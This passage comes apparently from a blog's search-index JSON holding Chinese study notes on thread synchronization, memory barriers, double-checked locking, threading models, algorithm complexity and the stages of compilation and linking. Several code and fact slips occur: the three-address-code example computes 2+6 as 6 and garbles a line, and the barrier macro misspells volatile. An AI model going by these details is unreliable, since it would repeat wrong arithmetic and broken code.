N 的信号量允许 N 个线程并发访问。线程访问资源的时候首先获取信号量,进行如下操作:\n\n将信号量的值减 1。\n如果信号量的值小于 0,则进入等待状态,否则继续执行。访问完资源之后,线程释放信号量,进行如下操作:\n将信号量的值加 1\n如果信号量的值小于 1,唤醒一个等待中的线程。\n\n互斥量(Mutex) 和二元信号量很类似,资源仅同时允许一个线程访问,但和信号量不同的是,信号量在整个系统可以被任意线程获取并释放,也就是说,同一个信号量可以被系统中的一个线程获取之后由另一个线程释放。而互斥量则要求哪个线程获取了互斥量,哪个线程就要负责释放这个锁,其他线程越俎代庖去释放互斥量是无效的。\n临界区(Critical Section) 是比互斥量更加严格的同步手段。在术语中,把临界区的锁的获取称为进入临界区,而把锁的释放称为离开临界区。临界区和互斥量与信号量的区别在于,互斥量和信号量在系统的任何进程里都是可见的,也就是说,一个进程创建了一个互斥量或信号量,另一个进程试图去获取该锁是合法的。然而,临界区的作用范围仅限于本进程,其他的进程无法获取该锁。除此之外,临界区具有和互斥量相同的性质。\n读写锁(Read-Write Lock) 致力于一种更加特定的场合的同步。对于一段数据,多个线程同时读取总是没有问题的,但假设操作都不是原子型,只要有任何一个线程试图对这个数据进行修改,就必须使用同步手段来避免出错。如果我们使用上述信号量、互斥量或临界区的任何一种来进行同步,尽管可以保证程序正确,但对于读取频繁,而仅仅偶尔写入的情况,会显得非常低效。读写锁可以避免这个问题。对于同一个锁,读写锁有两种获取方式,共享的(Shared) 或独占的(Exclusive)。当锁处于自由的状态时,试图以任何一种方式获取锁都能成功,并将锁置于对应的状态。如果锁处于共享状态,其他线程以共享的方式获取锁仍然会成功,此时这个锁分配给了多个线程。然而,如果其他线程试图以独占的方式获取处于共享状态的锁,那么它将必须等待锁被所有的线程释放。相应地,处于独占状态的锁将阻止任何其他线程获取该锁,不论它们试图以哪种方式获取。读写锁的行为可以总结如表所示。\n\n条件变量(Condition Variable) 作为一种同步手段,作用类似于一个栅栏。对于条件变量,线程可以有两种操作,首先线程可以等待条件变量,一个条件变量可以被多个线程等待。其次,线程可以唤醒条件变量,此时某个或所有等待此条件变量的线程都会被唤醒并继续支持。也就是说,使用条件变量可以让许多线程一起等待某个事件的发生,当事件发生时(条件变量被唤醒),所有的线程可以一起恢复执行。\n可重入(Reentrant)与线程安全\n一个函数被重入,表示这个函数没有执行完成,由于外部因素或内部调用,又一次进入该函数执行。一个函数要被重入,只有两种情况:\n\n多个线程同时执行这个函数。\n函数自身(可能是经过多层调用之后)调用自身。\n\n一个函数被称为可重入的,表明该函数被重入之后不会产生任何不良后果。\n举个例子,如下面这个 sqr 函数就是可重入的:\nint sqr(int x){\treturn x*x;}\n\n一个函数要成为可重入的,必须具有如下几个特点:\n\n不使用任何(局部)静态或全局的非const变量。\n不返回任何(局部)静态或全局的非const变量的指针。\n仅依赖于调用方提供的参数。\n不依赖任何单个资源的锁(mutex等)。\n不调用任何不可重入的函数。\n\n可重入是并发安全的强力保障,一个可重入的函数可以在多线程环境下放心使用。\n过度优化\n线程安全是一个非常烫手的山芋,因为即使合理地使用了锁,也不一定能保证线程安全,这时源于落后的编译器技术已经无法满足日益增长的并发需求。很多看似无错的代码在优化和并发面前又产生了麻烦。\n最简单的例子,让我们看看如下代码:\nx=0;Thread1 Thread2lock(); lock();x++; x++;unlock(); unlock();\n\n\n由于有 lock 和 unlock 的保护,x++ 的行为不会被并发所破坏,那么 x 的值似乎必然是2了。然而,如果编译器为了提高 x 的访问速度,把 x 放到了某个寄存器里,那么我们知道不同线程的寄存器是各自独立的,因此如果 Thread1 先获得锁,则程序的执行可能会呈现如下的情况:\n\n[Thread1]读取 x 的值到某个寄存器 R[1](R[1]=0)。\n[Thread1]R[1]++(由于之后可能还要访问 x,因此 Thread1 暂时不将 R[1]写回 x)。\n[Thread2]读取 x 的值到某个寄存器R[2](R[2]=0)。\n[Thread2]R[2]++(R[2]=1)\n[Thread2]将 R[2]写回至 x(x=1)。\n[Thread1](很久以后)将 R[1]写回至 x(x=1)。\n\n可见在这样的情况下即使正确地加锁,也不能保证多线程安全。\n下面是另一个例子:\nx=y=0;Thread1 Thread2x=1; y=1;r1=y; r2=x;\n​很显然,r1 和 r2 至少有一个为 1,逻辑上不可能同时为0。然而,事实上 r1=r2=0 的情况确实可能发生。原因在于早在几十年前,CPU 就发展出了动态调试,在执行程序的时候为了提高效率有可能变化指令的顺序。同样,编译器在进行优化的时候,也可能为了效率而交换毫不相干的两条相邻指令(如 x=1 和 r1=y)的执行顺序。也就是说,以上代码执行的时候可能是这样的:\nx=y=0;Thread1 Thread2r1=y; y=1;x=1; r2=x;\n那么 r1=r2=0 就完全可能了。我们可以使用 volatile 关键字视图阻止过度优化,volatile 基本可以做到两件事情:\n\n阻止编译器为了提高速度将一个变量缓存到寄存器内而不写回。\n阻止编译器调整操作 volatile 变量的指令顺序。\n\n可见 volatile 可以完美地解决第一个问题,但是 volatile 是否也能解决第二个问题呢?答案是不能。因为即使 volatile 能够阻止编译器调整顺序,也无法阻止 CPU 动态调度换序。\n另一个颇为著名的与换序有关的问题来自于 Singleton 模式的 double-check。一段典型的 duoble-check 的 singleton 代码是这样的(不熟悉 Singleton 的读者可以参数《设计模式:可复用面向对象软件的基础》,但下面所介绍的内容并不真正需要了解 Singleton):\nvolatile T* pInst=0;T* GetInstance(){if (pInst==NULL){\tlock();\tif (pInst==NULL)\t\tpInst=new T;\tunlock();}return pInst;}\n抛开逻辑,这样的代码乍看是没有问题的,当函数返回时,PInst 总是指向一个有效的对象。而 lock 和 unlock 防止了多线程竞争导致的麻烦。双重的 if 在这里另有妙用,可以让 lock 的调用开销降低到最小。读者可以自己揣摩。\n但是实际上这样的代码是有问题的。问题的来源仍然是 CPU 的乱序执行。C++ 里的 new 其实包含了两个步骤:\n\n分配内存。\n调用构造函数。\n\n所以 pInst=new T 包含了三个步骤:\n\n分配内存。\n在内存的位置上调用构造函数。\n将内存的地址赋值给 pInst。\n\n在这三步中,(2)和(3)的顺序是可以颠倒的。也就是说,完全有可能出现这样的情况:pInst 的值已经不是 NULL,但对象仍然没有构造完毕。这时候如果出现另外一个对 GetInstance 的并发调用,此时第一个 if 内的表达式 pInst==NULL 为 false,所以这个调用会直接返回尚未构造完全的对象的地址(pInst)以提供给用户使用。那么程序这个时候会不会崩溃就取决于这个类的设计如何了。\n从上面两个例子可以看到 CPU 的乱序执行能力让我们对多线程的安全保障的努力变得异常困难。因此要保证线程安全,阻止 CPU 换序是必需的。遗憾的是,现在并不存在可一直的阻止换序的方法。通常情况下是调用 CPU 提供的一条指令,这条指令常常被称为 barrier。一条 barrier 指令会阻止 CPU 将该指令之前的指令交换到 barrier 之后,反之亦然。换句话说,barrier 指令的作用类似于一个拦水坝,阻止换序 “穿透” 这个大坝。\n许多体系结构的 CPU 都提供 barrier 指令,不过它们的名称各不相同,例如 POWERPC 提供的其中一条指令名叫 lwsync。我们可以这样来保证线程安全:\n#define barrier() __asm__ vloatile ("lwsync")volatile T* pInst=0;T* GetInstance(){\tif (!pInst)\t{\t\tlock();\t\tif (!pInst)\t\t{\t\t\tT* temp=new T;\t\t\tbarrier();\t\t\tpInst=temp;\t\t}\t\tunlock();\t}\treturn pInst;}\n由于 barrier 的存在,对象的构造一定在 barrier 执行之前完成,因此当 pInst 被赋值时,对象总是完好的。\n多线程内部情况三种线程模型\n线程的并发执行是由多处理器或操作系统来实现的。但实际情况要更为复杂一些:大多数操作系统,包括 Windows 和 Linux,都在内核里提供线程的支持,内核线程和我们之前讨论的一样。由多处理器或调度来实现并发。然而用户实际使用的线程并不是内核线程,而是存在于用户态的用户线程。用户态线程并不一定在操作系统内核里对应同等数量的内核线程,例如某些轻量级的线程库,对用户来说如果有三个线程在同时执行,对内核来说可能只有一个线程。本节我们将详细介绍用户态多线程库的实现方式。\n1 一对一模型\n对于之间支持线程的系统,一对一模型始终是最为简单的模型。对一对一模型来说,一个用户使用的线程就唯一对应一个内核使用的线程(但反过来不一定,一个内核里的线程在用户态不一定有对应的线程存在),如图所示。\n\n这样用户线程就具有了和内核线程一致的优点,线程之间的并发是真正的并发,一个线程因为某原因阻塞时,其它线程执行不会受到影响。此外,一对一模型也可以让多线程程序在多处理器的系统上有更好的表现。\n一般直接使用 API 或系统调用创建的线程均为一对一的线程。例如在 Linux 里使用 clone(带有 CLONE_VM 参数)产生的线程就是一个一对一线程,因此此时在内核有一个唯一的线程与之对应。下列代码演示了这一过程:\nint thread_function(void*){...}char thread_stack[4096];void foo{\tclone(thread_function,thread_stack,CLONE_VM,0);}\n在 Windows 里,使用 API CreateThread 即可创建一个一对一的线程。\n一对一线程缺点有两个:\n\n由于许多操作系统限制了内核线程的数量,因此一对一线程会让用户的线程数量受到限制。\n许多操作系统内核线程调度时,上下文切换的开销较大,导致用户线程的执行效率下降。\n\n2 多对一模型\n多对一模型将多个用户线程映射到一个内核线程上,线程之间的切换由用户态的代码来进行,因此对于一对一模型,多对一模型的线程切换要快速许多。多对一的模型示意图如图。\n\n多对一模型一大问题是,如果其中一个用户线程阻塞,那么所有的线程都将无法执行,因为此时内核里的线程也随之阻塞了。另外,在多处理器系统上,处理器的增多对多对一模型的线程性能提升也不会有明显的帮助。但同时,多对一模型得到的好处是高效的上下文切换和几乎无限制的线程数量。\n3 多对多模型\n多对多模型结合了多对一模型和一对一模型的特点,将多个用户线程映射到少数但不止一个内核线程上,如图所示。\n在多对多模型中,一个用户线程阻塞并不会使得所有的用户线程阻塞,因为此时还有别的线程可以被调度来执行。另外,多对多模型对用户线程的数量也没什么限制,在多处理器系统上,多对多模型的线程也能得到一定的性能提升,不过提升的幅度不如一对一模型高。\n\n","categories":["链接、装载和库"],"tags":["读书笔记"]},{"title":"《数据结构和算法》chapter2 算法","url":"/2024/10/24/data_structure/data-struct-2/","content":"算法定义\n算法:算法是解决特定问题求解步骤的描述,在计算机中表现为指令的有限序列,并且每条指令表示一个或多个操作。\n\n算法的特性算法具有五个基本特性:输入、输出、有穷性、确定性和可行性。\n输入输出算法具有零个或多个输入。\n算法至少有一个或多个输出。\n有穷性有穷性:指算法在执行有限的步骤之后,自动结束而不会出现无限循环,并且每一个步骤在可接受的时间内完成。\n确定性确定性:算法的每一步骤都具有确定的含义,不会出现二义性。\n可行性可行性:算法的每一步都必须是可行的,也就是说,每一步都能够通过执行有限次数完成。\n算法设计的要求正确性正确性:算法的正确性是指算法至少应该具有输入、输出和加工处理无歧义性,能正确反映问题的需求,能够得到问题的正确答案。\n可读性可读性:算法设计的另一目的是为了便于阅读、理解和交流。\n健壮性健壮性:当输入数据不合法时,算法也能做出相关处理,而不是产生异常或莫名其妙的结果。\n时间效率高和存储量低设计算法应该尽量满足时间效率高和存储量低的需求。\n算法效率的度量方法事后统计方法事后统计方法:这种方法主要是通过设计好的测试程序和数据,利用计算机计时器对不同算法编制的程序的运行时间进行比较,从而确定算法效率的高低。\n事前分析估算方法事前分析估算方法:在计算机程序编制前,依据统计方法对算法进行估算。\n一个程序的运行时间,依赖于算法的好坏和问题的输入规模。所谓问题输入规模是指输入量的多少。\n最终,在分析程序的运行时间时,最重要的是把程序看成是独立于程序设计语言的算法或一系列步骤。\n函数的渐近增长\n函数的渐近增长:给定两个函数f(n)和g(n),如果存在一个整数N,使得对于所有的n>N,f(n)总是比g(n)大,那么,我们说f(n)的增长渐近快于g(n)。\n\n判断一个算法的效率时,函数中的常数和其他次要项常常可以忽略,而更应该关注主项(最高阶项)的阶数。\n某个算法,随着n的增大,它会越来越优于另一算法,或者越来越差于另一算法。\n算法时间复杂度算法时间复杂度定义\n在进行算法分析时,语句总的执行次数T(n)是关于问题规模n的函数,进而分析T(n)随n的变化情况并确定T(n)的数量级。算法的时间复杂度,也就是算法的时间量度,记作T(n)=O(f(n))。它表示随问题规模n的增大,算法执行时间的增长率和f(n)的增长率相同,称作算法的渐近时间复杂度,简称为时间复杂度。其中f(n)是问题规模n的某个函数。\n\n这样用大写O()来算法时间复杂度的记法,我们称之为大O记法。\n推导大O阶方法\n推导大O阶:\n\n\n1.用常数1取代运行时间中的所有加法常数。\n2.在修改后的运行次数函数中,只保留最高阶项。\n3.如果最高阶项存在且其系数不是1,则去除与这个项相乘的系数。得到的结果就是大O阶。\n\n常数阶f(n)=3\nO(1)\n线性阶O(n)\n分析算法的复杂度,关键就是要分析循环结构的运行情况。\n对数阶O(logn)\n平方阶O(n^2)\n理解大O阶推导不算难,难的是对数列的一些相关运算,这更多的是考察你的数学知识和能力。\n常见的时间复杂度常用的时间复杂度所耗费的时间从小到大依次是:\n\nO(1)<O(logn)<O(n)<O(nlogn)<O(n^2)<O(n^3)<O(2^n)O(n!)<O(n^n)\n\n最坏情况与平均情况最坏情况运行时间是一种保证,那就是运行时间不会再坏了。\n而平均运行时间也就是从概率的角度看,这个数字在每一个位置的可能性是相同的,所以平均的查找时间为n/2次后发现这个目标元素。\n平均运行时间是所有情况中最有意义的,因为它是七位的运行时间。\n对算法的分析,一种方法是计算所有情况的平均值,这种时间复杂度的计算方法称为平均时间复杂度。另一种方法是计算最坏情况下的时间复杂度,这种方法称为最坏时间复杂度。一般在没有情况说明的情况下,都是指最坏时间复杂度。\n算法空间复杂度算法的空间复杂度通过计算算法所需的存储空间实现,算法空间复杂度的计算公式记作:S(n)=O(f(n)),其中,n为问题的规模,f(n)为语句关于n所占存储空间的函数。\n","categories":["数据结构和算法"]},{"title":"《链接、装载与库》chapter2 编译和链接","url":"/2024/10/26/link_load_lib/link-load-lib-2/","content":"被隐藏了的过程C 语言中的Hello World!程序所有程序员都可以写出来并用 gcc 编译程序。\n事实上,上述编译过程可以分解为 4 个步骤,分别是预处理(Prepressing)、编译(Compilation)、汇编(Assembly) 和链接(Linking)\n\n预编译首先是源代码文件和相关的头文件,如 stdio.h 等被预编译器 cpp 预编译成一个 .i 文件。\n预编译过程主要处理那些源代码文件中的以 “#” 开始的预编译指令。比如 “#include”、“define” 等,主要处理规则如下:\n\n将所有的 “define” 删除,并且展开所有的宏定义。\n处理所有条件预编译指令,比如 “#if ”、“#ifdef ”、“#elif ”、“#else ”、“#endif ”。\n处理 “#include” 预编译指令,将被包含的文件插入到该预编译指令的位置。注意,这个过程是递归进行的,也就是说被包含的文件可能还包含其他文件。\n删除所有的注释 “//” 和 “/ ** /”。\n添加行号和文件名标识,比如#2 “hello.c” 2,以便于编译时编译器产生调试用的行号信息及用于编译时产生编译错误或警告时能够显示行号。\n保留所有的 “#pragma” 编译器指令,因为编译器须要使用它们。\n\n经过预编译后的 .i 文件不包含任何宏定义,因为所有的宏已经被展开,并且包含的文件也已经被插入到 .i 文件中。所以当我们无法判断宏定义是否正确或头文件是否正确时,可以查看预编译后的文件来确定问题。\n编译编译过程就是把预处理完的文件进行一系列词法分析、语法分析、语义分析及优化后生成相应的汇编代码文件,这个过程往往是我们所说的整个程序构建的核心部分,也是最复杂的部分之一。\n现在版本的 gcc 把预编译和编译两个步骤合并成一个步骤,使用一个叫做 ccl 的程序来完成这两个步骤。\n编译器 cc1、汇编器 as、链接器 ld。gcc 程序只是这些后台程序的包装,它会根据不同的参数要求去调用相应的程序。\n汇编汇编器是将汇编代码转变成机器可以执行的指令,每一个汇编语句几乎都对应一条机器指令。所有汇编器的汇编过程只需要根据汇编指令和机器指令的对照表一一翻译就可以了。上述过程由汇编器 as 来完成。\n链接链接通常是一个让人比较费解的过程,为什么汇编器不直接输出可执行文件而是输出一个目标文件呢?链接过程到底包含了什么内容?为什么要链接?\ncrt1.o、crti.o、crtbeginT.o、crtn.o 以 .o 为后缀的这些文件是什么?它们做什么用的?-lgcc -lgcc_en -lc这些都是什么参数?为什么要使用它们?为什么要将它们和hello.o 链接起来才可以得到可执行文件?\n这些问题正是本书所需要介绍的内容,它们看似简单,其实涉及了编译、链接和库,甚至是操作系统的一些很底层的内容。\n编译器做了什么?从最直观的角度来讲,编译器就是将高级语言翻译成机器语言的一个工具。\n因为低级语言开发效率低下和局限性大的特点,所以诞生了高级语言。\n编译器就是高级语言和低级语言的中间层级,编译器将高级语言翻译成相应的指令集的机器语言。所以高级语言不像低级语言一样须要考虑硬件的不同,所以高级语言的可移植性更高。\n编译过程一般可以分为 6 步:扫描、语法分析、语义分析、源代码优化、代码生成和目标代码优化。\n\n我们将结合上图来简单描述从源代码(Source Code) 到最终目标代码(Final Target Code) 的过程。以一段很简单的 C 语言的代码为例子来讲述这个过程。比如我们有一行 C 语言的源代码如下:\narray[index] = (index+4)*(2+6)ComplierExpression.c\n\n词法分析首先源代码程序被输入到扫描器(Scanner),扫描器的任务很简单,它只是简单地进行词法分析,运用一种类似于有限状态机(Filite StateMachine) 的算法可以很轻松地将源代码的字符序列分割成一系列的记号(Token)。\n以上程序总共包含了28个非空字符,经过扫描以后,产生了16个记号:\t\n\n\n\n记号\n类型\n\n\n\narray\n标识符\n\n\n[\n左方括号\n\n\nindex\n标识符\n\n\n]\n右方括号\n\n\n=\n赋值\n\n\n(\n左圆括号\n\n\nindex\n标识符\n\n\n+\n加号\n\n\n4\n数字\n\n\n)\n右圆括号\n\n\n*\n乘号\n\n\n(\n左圆括号\n\n\n2\n数字\n\n\n+\n加号\n\n\n6\n数字\n\n\n)\n右圆括号\n\n\n词法分析产生的记号一般可以分为如下几类:关键字、标识符、字面量(包含数字、字符串等)和特殊符号(如加号、等号)。在识别记号的同时,扫描器也完成了其他工作。比如将标识符存放到符号表,将数字、字符串常量存放到文字表等,以备后面的步骤使用。\n有一个叫做 lex 的程序可以实现词法扫描,它会按照用户之前描述好的词法规则将输入的字符串分割成一个个记号。因为这样一个程序的存在,编译器的开发者就无须为每个编译器开发一个独立的词法扫描器,而是根据需要改变词法规则就可以了。\n另外对于一些有预处理的语言,比如 C 语言,它的宏替换和文件保护等工作一般不归于编译器的范围而交给一个独立的预处理器。\n语法分析接下来词法分析器(Grammar Parser) 将对由扫描器产生的记号进行语法分析,从而产生语法树(Syntax Tree)。整个分析过程采用了上下文无关语法的分析手段。\n由语法分析生成的语法树就是以表达式(Expression) 为节点的树。\n我们知道C语言的一个语句是一个表达式,而复杂的语句是很多表达式的组合。\n上面例子中的语句就是一个由赋值表达式、加法表达式、乘法表达式、括号表达式组成的复杂语句。\n它在经过语法分析器以后形成如下图所示的语法树。\n\n从上图我们可以看到,整个语句被看作一个赋值表达式;赋值表达式的左边是一个数组表达式,它的右边是一个乘法表达式;数组表达式又由两个符号表达式组成,等等。符号和数字是最小的表达式,它们不是由其他的表达式来组成的,所以它们通常作为整个语法树的叶节点。\n在语法分析的同时,很多运算符号的优先级和含义也被确定下来了。比如乘法表达式的优先级比加法高,而圆括号表达式的优先级比乘法高,等等。另外有些符号具有多重含义,比如星号 * 在C语言中可以表示乘法表达式,也可以表示对指针取内容的表达式,所以语法分析阶段必须对这些内容进行区分。如果出现了表达式不合法,比如各种括号不匹配、表达式中缺少操作符等,编译器就会报告语法分析阶段的错误。\n语法分析也有一个现成的工具叫做 yacc(Yet Another Compiler Compiler)。它可以根据用户给定的语法规则对输入的记号序列进行解析,从而构建出一棵语法树。对于不同的编程语言,编译器的开发者只须改变语法规则,而无须为每个编译器编写一个语法分析器,所以它又被称为 “编译器编译器(Compiler Compiler)”。\n语义分析接下来进行的是语义分析,由语义分析器(Semantic Analyzer) 来完成。语法分析仅仅是完成了对表达式的语法层面的分析,但是它并不了解这个语句是否真正有意义。比如 C 语言里面两个指针做乘法运算是没有意义的,但是这个语句在语法上是合法的;比如同样一个指针和一个浮点数做乘法运算是否合法等。编译器所能分析的语义是静态语义(Static Semantic),所谓静态语义是指在编译期可以确定的语义,与之对应的动态语义(Dynamic Semantic) 就是只有在运行期才能确定的语义。\n静态语义通常包括声明和类型的匹配,类型的转换。 比如当一个浮点型的表达式赋值给一个整型的表达式时,其中隐含了一个浮点型到整型转换的过程,语义分析过程中需要完成这个步骤。比如将一个浮点型赋值给一个指针的时候,语义分析程序会发现这个类型不匹配,编译器将会报错。动态语义一般指在运行期出现的语义相关的问题,比如将 0 作为除数是一个运行期语义错误。\n经过语义分析阶段以后,整个语法树的表达式都被标识了类型,如果有些类型需要做隐式转换,语义分析程序会在语法树中插入相应的转换节点。 上面描述的语法树在经过语义分析阶段以后成为如图所示的形式。\n\n可以看到,每个表达式(包括符号和数字)都被标识了类型。我们的例子中几乎所有的表达式都是整型的,所以无须做转换,整个分析过程很顺利。语义分析器还对符号表里的符号类型也做了更新。\n中间语言生成现代的编译器有着很多层次的优化,往往在源代码级别会有一个优化过程。我们这里所描述的源码级优化器(Source Code Optimizer) 在不同编译器中可能会有不同的定义或有一些其他的差异。\n源代码级优化器会在源代码级别进行优化,在上例中,细心的读者可能已经发现,(2+6)这个表达式可以被优化掉,因为它的值在编译期就可以被确定。\n经过优化的语法树如下:\n\n我们看到(2+6)这个表达式被优化成8.起始直接在语法树上作优化比较困难,所以源代码优化器往往将整个语法树转换成中间代码(Intermediate Code),它是语法树的顺序表示,其实它已经非常接近目标代码了。但是它一般跟目标及其和运行时环境是无关的,比如它不包含数据的尺寸、变量地址和寄存器的名字等。\n中间代码有很多种类型,在不同的编译器中有着不同的形式,比较常见的有:三地址码(Three-address Code) 和 P-代码(P-Code)。\n最基本的三地址码是这样的:\t\nx = y op z\n\n这个三地址码表示将变量 y 和 z 进行 op 操作以后,赋值给 x。这里 op 操作可以是算数运算,比如加减乘除等,也可以是其他任何可以应用到 y和 z 的操作。三地址码也得名于此,因为一个三地址码语句里面有三个变量地址。\n我们上面的例子中的语法树可以被翻译成三地址码后是这样的:\nt1 = 2 + 6t2 = index + 4t3 = t2 * t1array[index] = t3\n\n我们可以看到,为了使所有的操作都符合三地址码形式,这里利用了几个临时变量:t1、t2 和 t3。在地址码的基础上进行优化时,优化程序会将2+6 的结果计算出来,得到 t1=6。然后将后面代码中的 t1 替换成数字 6。还可以省去一个临时变量 t3,因为 t2 可以重复利用。\n经过优化后的代码如下:\nt2 = index + 4t2 =t * 8array[index] = t2\n\n中间代码使得编译器可以被分为前端和后端。编译器前端负责产生机器无关的中间代码,编译器后端将中间代码转换成目标机器代码。 这样对于一些可以跨平台的编译器而言,它们可以针对不同的平台使用同一个前端和针对不同机器平台的数个后端。\n目标代码生成与优化源代码级优化器产生中间代码标志着下面的过程都属于编译器后端。 编译器后端主要包括代码生成器(Code Generator) 和目标代码优化器(Target Code Optimizer)。\n让我们先来看看代码生成器。代码生成器将中间代码转换成目标机器代码,这个过程十分依赖于目标机器,因为不同的机器有着不同的字长、寄存器、整数数据类型和浮点数数据类型等。\n对于上面例子中的中间代码,代码生成器可能会生成下面的代码序列(我们用 x86 的汇编语言来表示,并且假设 index 的类型为 int 型,array 的类型为 int 型数组):\nmovl index, %ecx\t\t\t;value of index to ecxaddl $4, %ecx\t\t\t\t;ecx = ecx + 4mull $8, %ecx\t\t\t\t;ecx = ecx * 8movl index, %eax\t\t\t;value of index to eaxmovl %ecx, array(,eax,4)\t;array[index] = ecx\n\n最后目标代码优化器对上述的目标代码进行优化,比如选择合适的寻址方式、使用位移来代替乘法运算、删除多余的指令等。\n上面的例子中,乘法由一条相对复杂的基址比例变址寻址(Base Index Scale Addressing) 的 lea 指令完成,随后由一条 mov 指令完成最后的赋值操作,这条 mov 指令的寻址方式与 lea 是一样的。\nmovl index, %edxleal 32(,%edx,8), %eaxmovl %eax, array(,%edx,4)\n现代的编译器有着异常复杂的结构,这是因为现代高级编程语言本身非常地复杂,比如 C++ 语言的定义就极为复杂,至今没有一个编译器能够完整支持 C++ 语言标准所规定的所有语言特性(现在基本可以支持)。另外现代的计算机 CPU 相当地复杂,CPU 本身采用了诸如流水线、多发射、超标量等诸多复杂的特性,为了支持这些特性,编译器的机器指令优化过程也变得十分复杂。使得编译过程更为复杂的是有些编译器支持多种硬件平台,即允许编译器编译出多种目标 CPU 的代码。比如著名的 GCC 编译器就几乎支持所有CPU平台,这也导致了编译器的指令生成过程更为复杂。\n经过这些扫描、语法分析、源代码优化、代码生成和目标代码优化,编译器忙活了这么多个步骤以后,源代码终于被编译成了目标代码。但是这个目标代码中有一个问题是:index 和 array 的地址还没有确定。如果我们要把目标代码使用汇编器编译成真正能够在机器上执行的指令,那么 index 和 array 的地址应该从哪儿得到呢?如果 index 和 array 定义在跟上面的源代码同一个编译单元里面,那么编译器可以为 index 和 array 分配空间,确定它们的地址;那如果是定义在其他的程序模块呢?\n这个看似简单的问题引出了我们一个很大的话题:目标代码中有变量定义在其他模块,该怎么办?事实上,定义其他模块的全局变量和函数在最终运行时的绝对地址都要在最终链接的时候才能确定。所有现代的编译器可以将一个源代码文件编译成一个未链接的目标文件,然后由链接器最终将这些目标文件链接起来形成可执行文件。让我们带着这个问题,走进链接的世界。\n链接器年龄比编译器长假设有一种计算机,它的每条指令是 1 个字节,也就是 8 位。我们假设有一种跳转指令,它的高 4 位是 0001,表示这是一条跳转指令:低 4 位存放的是跳转目的地的绝对地址。我们可以从下图看到,这个程序的第一条指令就是一条跳转指令,它的目的地址是第 5 条指令(注意,第 5 条指令的绝对地址是 4)。至于 0 和 1 怎么映射到纸带上,这个应该很容易理解,比如我们可以规定纸带上每行有 8 个孔位,每个孔位代表一位,穿孔表示 0,未穿孔表示 1。\n现在问题来了,程序并不是一写好就永远不变的,它可能会经常被修改。比如我们在第 1 条指令之后、第 5 条指令之前插入了一条或多条指令,那么第 5 条指令及后面的指令的位置将会相应地往后移动,原先第一条指令的低 4 位的数字将需要相应地调整。在这个过程中,程序员需要人工重新计算每个子程序或跳转的目标地址。当程序修改的时候,这些位置都要重新计算,十分繁琐又耗时,并且很容易出错。这种重新计算各个目标的地址过程被叫做重定位(Relocation)。\n\n如果我们有多条纸带的程序,这些程序之间可能会有类似的跨纸带之间的跳转,这种程序经常修改导致跳转目标地址变化在程序拥有多个模块的时候更为严重。人工绑定进行指令的修正以确保所有的跳转目标地址都正确,在程序规模越来越大以后变得越来越复杂和繁琐。\n没办法,这种黑暗的程序员生活是没有办法容忍的。先驱者发明了汇编语言,这相比机器语言来说是个很大的进步。汇编语言使用接近人类的各种符号和标记来帮助记忆,比如指令采用两个或三个字母的缩写,记住 “jmp” 比记住 0001XXXX 是跳转(jump)指令容易得多了;汇编语言还可以使用符号来标记位置,比如一个符号 “divide” 表示一个除法子程序的起始地址,比记住从某个位置开始的第几条指令是除法子程序方便得多。最重要的是,这种符号的方法使得人们从具体的指令地址中逐步解放出来。比如前面纸带程序中,我们把刚开始第 5 条指令开始的子程序命名为 “foo” ,那么第一条指令的汇编就是:\njmp foo\n当然人们可以使用这种符号命名子程序或跳转目标以后,不管这个 “foo” 之前插入了或减少了多少条指令导致 “foo” 目标地址发生了什么变化,汇编器在每次汇编程序的时候会重新计算 “foo” 这个符号的地址,然后把所有引用到 “foo” 的指令修正到这个正确的地址。整个过程不需要人工参与,对于一个有成百上千个类似的符号的程序,程序员终于摆脱了这种低级的繁琐的调整地址的工作,用一句政治口号来说叫做 “极大地解放了生产力”。符号(Symbol) 这个概念随着汇编语言的普及迅速被使用,它用来表示一个地址,这个地址可能是一段子程序(后来发展成函数)的起始地址,也可以是一个变量的地址。\n有了汇编语言以后,生产力大大提高了,随之而来的是软件的规模也开始日渐庞大,这时程序的代码量也已经开始快速地膨胀,导致人们要开始考虑将不同功能的代码以一定的方式组织起来,使得更加容易阅读和理解,以便于日后修改和重复使用。自然而然,人们开始将代码按照功能或性质划分,分别形成不同的功能模块,不同的模块之间按照层次结构或其他结构来组织。这个在现代的软件源代码组织中很常见,比如在 C 语言中,最小的单位是变量和函数,若干个变量和函数组成一个模块,存放在一个 “.c” 的源代码文件里,然后这些源代码文件按照目录结构来组织。在比较高级的语言中,如 Java 中,每个类是一个基本的模块,若干个类模块组成一个包(Package),若干个包组合成一个程序。\n在现代软件开发过程中,软件的规模往往都很大,动辄数百万行代码,如果都放在一个模块肯定无法想象。所以现代的大型软件往往拥有成千上万个模块,这些模块之间相互依赖又相对独立。这种按照层次化及模块化存储和组织源代码有很多好处,比如代码更容易阅读、理解、重用,每个模块可以单独开发、编译、测试、改变部分代码不需要编译整个程序等。\n在一个程序被分割成多个模块以后,这些模块之间最后如何组合形成一个单一的程序是须解决的问题。模块之间如何组合的问题可以归结为模块之间如何通信的问题,最常见的属于静态语言的 C/C++ 模块之间通信有两种方式,一种是模块间的函数调用,另外一种是模块间的变量访问。函数访问须要知道目标函数的地址,变量访问也须知道目标变量的地址,所以这两种方式都可以归结为一种方式,那就是模块间符号的引用。模块间依靠符号来通信类似于拼图版,定义符号的模块多出一块区域,引用该符号的模块刚好少了那一块区域,两者一拼接刚好完美组合(下图)。这个模块的拼接过程就是本书的一个主题:链接(Linking)\n\n这种基于符号的模块化的一个直接结果是链接过程在整个程序开发中变得十分重要和突出。我们在本书的后面将可以看到链接器如何将这些编译后的模块链接到一起,最终产生一个可以执行的程序\n模块拼装——静态链接程序设计的模块化是人们一直在追求的目标,因为当一个系统十分复杂的时候,我们不得不将一个复杂的系统逐步分割成小的系统以达到各个突破的目的。一个复杂的软件也如此,人们把每个源代码模块独立地编译,然后按照要将它们 “组装” 起来,这个组装模块的过程就是链接(Linking)。链接的主要内容就是把各个模块之间相互引用的部分都处理好,使得各个模块之间能够正确地衔接。链接器所要做的工作其实跟前面所描述的 “程序员人工跳转地址” 本质上没什么两样,只不过现代的高级语言的诸多特性和功能,使得编译器、链接器更为复杂,功能更为强大,但从原理上来讲,它的工作无非就是把一些指令对其他符号地址的引用加以修正。链接过程主要包括了地址和空间分配(Address and Storage Allocation)、符号决议(Symbol Resolution) 和重定位(Relocation) 等这些步骤。\n\n符号决议有时候也被叫做符号绑定(Symbol Binding)、名称绑定(Name Binding)、名称决议(Name Resolution),甚至还有叫做地址绑定(Address Binding)、指令绑定(Instruction 